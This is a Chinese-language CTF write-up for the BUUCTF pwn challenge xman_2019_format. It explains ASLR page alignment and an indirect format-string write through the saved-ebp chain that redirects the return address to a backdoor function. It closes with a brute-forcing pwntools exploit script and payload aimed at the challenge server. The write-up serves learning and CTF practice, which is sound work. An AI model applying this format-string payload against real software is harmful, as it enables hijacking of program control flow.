[BUUCTF-pwn]——xman_2019_format
本小白终于想明白了, 第一个写出来这道题的人, 好厉害感觉.
脑袋嗡嗡的, 这道题让我想了一个上午竟然, 果然适当睡眠有助于思考, 睡一觉就想出来了.
也看过几个题解不过,虽然解法相同,但是基本都木有将清楚, 每一步的原因是什么都木有说清楚. peak不才, 在这里试着详细说明一下, 毕竟想了一个上午的东西,还是有必要好好总结一下的 .
peak小知识
- ALSR : 你们肯定都知道,不就是地址随机化嘛有什么, 但是这道题如果你们不清楚具体的原理很有可能写不出来.
对于32位的线 性地址来说,高四位为全局页表,如果用随机产生会影响对高位内存的映射能力,会产生大 量的内存碎片,低12位要考虑页对齐,因而只能有16位来作为偏移量
. 可能不清楚, 举个例子 0x080485AB地址 它只能0x10 0x10的修改. 同时高四位不会被修改, 同时由于页对齐 , 也就意味着只有A 会被随机化. 64位类似. - %{offest}$n : 大家也不陌生, 就是格式化字符串修改. 可是你真的知道嘛, 有的只是套用公式, fmtstr_payload, 或者直接不明不白就用 n hn hhn 写了
其实如果有 A->B->C. 那么如果 % $n指向A的话, 实际修改的是C.
思路
前面 哔哔哔那么多开始直奔正题
首先这题给了我们一个backdoor, 后门函数, 地址为0x080485AB我们只需要将返回地址修改为这个就好
没有栈溢出, 只有两个格式化字符串漏洞, 前面有一个buf, 输入的buf '|'之前的是第一个printf, 之后的是第二个printf
我们不能直接修改 eip,但根据刚才的peak小知识, 我们可以间接修改eip,
利用ebp链, 使得一个地址指向储存eip的地址就好
第一步找到偏移偏移为10, 第一步将0xffa44088改为0xffa4403c也就是指向eip的地址, 不过由于地址随机化,只需要改最后两位保证最后为C就好, 我这里是0x0C, 当然 1C、2C、3C…都可以
第二次计算偏移,找到上一级的ebp, 利用格式化字符串将后门函数的地址写入. 其实只需要修改低位就好, 高位同一个程序基本都是相同的.
可能还是有点迷糊
A->B->C 利用这个将C修改为了指向eip的地址.
B->C->D 此时C是指向eip的地址,那么D不就是eip嘛
不过由于地址随机化, 所有我也不知道是0C还是什么C, 多循环几次就好
exploit
from pwn import *
while 1:
#p = process("./xman_2019_format")
p = remote("node3.buuoj.cn",26721)
#gdb.attach(p, 'b printf')
payload = '%12c' + '%10$hhn|'
payload += '%34219c' + '%18$hn'
p.sendline(payload)
try:
p.interactive()
except:
p.close()